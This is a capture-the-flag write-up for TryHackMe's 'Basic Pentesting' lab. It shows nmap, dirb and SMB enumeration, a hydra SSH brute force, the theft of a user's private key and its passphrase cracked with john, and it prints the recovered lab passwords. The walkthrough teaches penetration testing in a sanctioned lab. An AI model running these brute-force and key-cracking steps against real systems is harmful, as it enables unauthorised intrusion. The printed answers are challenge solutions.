Skip to content

CHALLENGE ROOM

Basic Pentesting

Room Icon
Start Room

Level:

EASY

Technology: Linux

Challenge description

In these set of tasks you'll learn the following:

  • brute forcing
  • hash cracking
  • service enumeration
  • Linux Enumeration

The main goal here is to learn as much as possible. Make sure you are connected to our network using your OpenVPN configuration file.

Credits to Josiah Pierce from Vulnhub.

Challenge Overview

The Basic Pentesting challenge on TryHackMe involves exploiting a vulnerable web server to gain access to the system. The target machine has several open ports, including SSH, HTTP, and SMB. The goal is to enumerate the services, identify vulnerabilities, and exploit them to retrieve the flag.

Enumeration

Nmap Scan

To begin, we perform a comprehensive scan of the target machine to identify open ports and services:

bash
nmap -sC -sV -v -p- -oN basic-pentesting.nmap 10.10.198.84

Scan Results:

bash
Nmap scan report for 10.10.198.84
Host is up (0.031s latency).
Not shown: 65529 closed tcp ports (reset)
PORT     STATE SERVICE     VERSION
22/tcp   open  ssh         OpenSSH 7.2p2 Ubuntu 4ubuntu2.4 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
|   2048 db45cbbe4a8b71f8e93142aefff845e4 (RSA)
|   256 09b9b91ce0bf0e1c6f7ffe8e5f201bce (ECDSA)
|_  256 a5682b225f984a62213da2e2c5a9f7c2 (ED25519)
80/tcp   open  http        Apache httpd 2.4.18 ((Ubuntu))
|_http-server-header: Apache/2.4.18 (Ubuntu)
| http-methods:
|_  Supported Methods: GET HEAD POST OPTIONS
|_http-title: Site doesn't have a title (text/html).
139/tcp  open  netbios-ssn Samba smbd 3.X - 4.X (workgroup: WORKGROUP)
445/tcp  open  netbios-ssn Samba smbd 4.3.11-Ubuntu (workgroup: WORKGROUP)
8009/tcp open  ajp13       Apache Jserv (Protocol v1.3)
| ajp-methods:
|_  Supported methods: GET HEAD POST OPTIONS
8080/tcp open  http        Apache Tomcat 9.0.7
| http-methods:
|_  Supported Methods: GET HEAD POST OPTIONS
|_http-favicon: Apache Tomcat
|_http-title: Apache Tomcat/9.0.7
Service Info: Host: BASIC2; OS: Linux; CPE: cpe:/o:linux:linux_kernel

Host script results:
|_clock-skew: mean: 1h40m00s, deviation: 2h53m12s, median: 0s
| smb-security-mode:
|   account_used: guest
|   authentication_level: user
|   challenge_response: supported
|_  message_signing: disabled (dangerous, but default)
| smb2-time:
|   date: 2025-01-31T20:16:43
|_  start_date: N/A
| nbstat: NetBIOS name: BASIC2, NetBIOS user: <unknown>, NetBIOS MAC: 000000000000 (Xerox)
| Names:
|   BASIC2<00>           Flags: <unique><active>
|   BASIC2<03>           Flags: <unique><active>
|   BASIC2<20>           Flags: <unique><active>
|   \x01\x02__MSBROWSE__\x02<01>  Flags: <group><active>
|   WORKGROUP<00>        Flags: <group><active>
|   WORKGROUP<1d>        Flags: <unique><active>
|_  WORKGROUP<1e>        Flags: <group><active>
| smb2-security-mode:
|   311:
|_    Message signing enabled but not required
| smb-os-discovery:
|   OS: Windows 6.1 (Samba 4.3.11-Ubuntu)
|   Computer name: basic2
|   NetBIOS computer name: BASIC2\x00
|   Domain name: \x00
|   FQDN: basic2
|_  System time: 2025-01-31T15:16:43-05:00

The scan reveals several open ports:

  • 22/tcp: SSH service running OpenSSH 7.2p2
  • 80/tcp: HTTP service running Apache 2.4.18
  • 139/tcp & 445/tcp: SMB services via Samba
  • 8009/tcp: Apache JServ Protocol
  • 8080/tcp: Apache Tomcat 9.0.7

Web Enumeration (Port 80)

Navigating to http://10.10.198.84/ presents a default "Under Maintenance" page, offering no immediate information.

Basic Pentesting Web Page

To uncover hidden directories, we employ dirb:

bash
dirb "http://10.10.198.84" /usr/share/seclists/Discovery/Web-Content/big.txt

Dirb output:

bash
-----------------
DIRB v2.22
By The Dark Raver
-----------------

START_TIME: Fri Jan 31 22:05:09 2025
URL_BASE: http://10.10.198.84/
WORDLIST_FILES: /usr/share/seclists/Discovery/Web-Content/big.txt

-----------------

GENERATED WORDS: 20465

---- Scanning URL: http://10.10.198.84/ ----
==> DIRECTORY: http://10.10.198.84/development/
+ http://10.10.198.84/server-status (CODE:403|SIZE:300)

---- Entering directory: http://10.10.198.84/development/ ----
(!) WARNING: Directory IS LISTABLE. No need to scan it.
    (Use mode '-w' if you want to scan it anyway)

-----------------
END_TIME: Fri Jan 31 22:15:06 2025
DOWNLOADED: 20465 - FOUND: 1

The /development/ directory is accessible and contains two text files: dev.txt and j.txt.

Development Directory

The dev.txt file contains the following message:

text
2018-04-23: I've been messing with that struts stuff, and it's pretty cool! I think it might be neat
to host that on this server too. Haven't made any real web apps yet, but I have tried that example
you get to show off how it works (and it's the REST version of the example!). Oh, and right now I'm 
using version 2.5.12, because other versions were giving me trouble. -K

2018-04-22: SMB has been configured. -K

2018-04-21: I got Apache set up. Will put in our content later. -J

The j.txt file contains the following message:

text
For J:

I've been auditing the contents of /etc/shadow to make sure we don't have any weak credentials,
and I was able to crack your hash really easily. You know our password policy, so please follow
it? Change that password ASAP.

-K

These notes suggest:

  • Interest in Apache Struts, potentially indicating its presence on the server.
  • A user with weak credentials, identified as "J."

SMB Enumeration

Given the open SMB ports, we probe for accessible shares:

bash
smbclient -L //10.10.198.84/

SMB Shares:

bash
Sharename       Type      Comment
---------       ----      -------
Anonymous       Disk
IPC$            IPC       IPC Service (Samba Server 4.3.11-Ubuntu)

Connecting to the Anonymous share:

bash
smbclient //10.10.198.84/anonymous
bash
Password for [WORKGROUP\root]:
Try "help" to get a list of possible commands.
smb: \> ls
.                                   D        0  Thu Apr 19 19:31:20 2018
..                                  D        0  Thu Apr 19 19:13:06 2018
staff.txt                           N      173  Thu Apr 19 19:29:55 2018

		14318640 blocks of size 1024. 11091860 blocks available
smb: \> get staff.txt
getting file \staff.txt of size 173 as staff.txt (1.4 KiloBytes/sec) (average 1.4 KiloBytes/sec)

Listing its contents reveals staff.txt. Contents of staff.txt:

text
Announcement to staff:

PLEASE do not upload non-work-related items to this share. I know it's all in fun, but
this is how mistakes happen. (This means you too, Jan!)

-Kay

Gaining Initial Access

Brute-Forcing SSH Credentials

The j.txt file hints at a user with weak credentials. Coupled with the SMB findings, we identify potential users: jan and kay.

Using hydra, we attempt to brute-force SSH credentials for jan:

bash
hydra -l jan -P /usr/share/wordlists/rockyou.txt 10.10.198.84 ssh

Hydra output:

bash
Hydra v9.4 (c) 2022 by van Hauser/THC & David Maciejak - Please do not use in military or secret service organizations, or for illegal purposes (this is non-binding, these *** ignore laws and ethics anyway).

Hydra (https://github.com/vanhauser-thc/thc-hydra) starting at 2025-01-31 22:00:14
[WARNING] Many SSH configurations limit the number of parallel tasks, it is recommended to reduce the tasks: use -t 4
[DATA] max 16 tasks per 1 server, overall 16 tasks, 14344398 login tries (l:1/p:14344398), ~896525 tries per task
[DATA] attacking ssh://10.10.198.84:22/
[STATUS] 166.00 tries/min, 166 tries in 00:01h, 14344233 to do in 1440:12h, 15 active
[STATUS] 130.33 tries/min, 391 tries in 00:03h, 14344008 to do in 1834:17h, 15 active
[STATUS] 109.43 tries/min, 766 tries in 00:07h, 14343633 to do in 2184:38h, 15 active
[22][ssh] host: 10.10.198.84   login: jan   password: armando
1 of 1 target successfully completed, 1 valid password found
[WARNING] Writing restore file because 1 final worker threads did not complete until end.
[ERROR] 1 target did not resolve or could not be connected
[ERROR] 0 target did not complete
Hydra (https://github.com/vanhauser-thc/thc-hydra) finished at 2025-01-31 22:07:24

With the credentials jan:armando, we establish an SSH session:

bash
ssh jan@10.10.198.84

Within jan's home directory, we find limited information. However, navigating to /home/kay/ reveals a hidden SSH directory:

bash
jan@basic2:/tmp$ ls -al /home/kay/.ssh
total 20
drwxr-xr-x 2 kay kay 4096 Apr 23  2018 .
drwxr-xr-x 5 kay kay 4096 Apr 23  2018 ..
-rw-rw-r-- 1 kay kay  771 Apr 23  2018 authorized_keys
-rw-r--r-- 1 kay kay 3326 Apr 19  2018 id_rsa
-rw-r--r-- 1 kay kay  771 Apr 19  2018 id_rsa.pub
jan@basic2:/tmp$ cat /home/kay/.ssh/id_rsa
-----BEGIN RSA PRIVATE KEY-----
Proc-Type: 4,ENCRYPTED
DEK-Info: AES-128-CBC,6ABA7DE35CDB65070B92C1F760E2FE75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kay. We transfer this key to our local machine for further analysis.

Cracking the SSH Key Passphrase

The private key is encrypted with a passphrase. To retrieve it:

  1. Convert the SSH key to a crackable format:
    bash
    ssh2john id_rsa > id_rsa.hash
  2. Use john to crack the passphrase:
    bash
    john --wordlist=/usr/share/wordlists/rockyou.txt id_rsa.hash

John output:

bash
Using default input encoding: UTF-8
Loaded 1 password hash (SSH, SSH private key [RSA/DSA/EC/OPENSSH 32/64])
Cost 1 (KDF/cipher [0=MD5/AES 1=MD5/3DES 2=Bcrypt/AES]) is 0 for all loaded hashes
Cost 2 (iteration count) is 1 for all loaded hashes
Will run 11 OpenMP threads
Note: Passwords longer than 10 [worst case UTF-8] to 32 [ASCII] rejected
Press 'q' or Ctrl-C to abort, 'h' for help, almost any other key for status
beeswax          (kay-id-rsa)
1g 0:00:00:00 DONE (2025-01-31 22:27) 5.263g/s 435831p/s 435831c/s 435831C/s beeswax..arreola
Use the "--show" option to display all of the cracked passwords reliably
Session completed.

With the passphrase beeswax, we access kay's account:

bash
ssh -i kay-id-rsa kay@10.10.198.84

We can now read the final password from pass.bak:

bash
kay@basic2:~$ ls -al
total 48
drwxr-xr-x 5 kay  kay  4096 Apr 23  2018 .
drwxr-xr-x 4 root root 4096 Apr 19  2018 ..
-rw------- 1 kay  kay   756 Apr 23  2018 .bash_history
-rw-r--r-- 1 kay  kay   220 Apr 17  2018 .bash_logout
-rw-r--r-- 1 kay  kay  3771 Apr 17  2018 .bashrc
drwx------ 2 kay  kay  4096 Apr 17  2018 .cache
-rw------- 1 root kay   119 Apr 23  2018 .lesshst
drwxrwxr-x 2 kay  kay  4096 Apr 23  2018 .nano
-rw------- 1 kay  kay    57 Apr 23  2018 pass.bak
-rw-r--r-- 1 kay  kay   655 Apr 17  2018 .profile
drwxr-xr-x 2 kay  kay  4096 Apr 23  2018 .ssh
-rw-r--r-- 1 kay  kay     0 Apr 17  2018 .sudo_as_admin_successful
-rw------- 1 root kay   538 Apr 23  2018 .viminfo
kay@basic2:~$ cat pass.bak
heresareallystrongpasswordthatfollowsthepasswordpolicy$$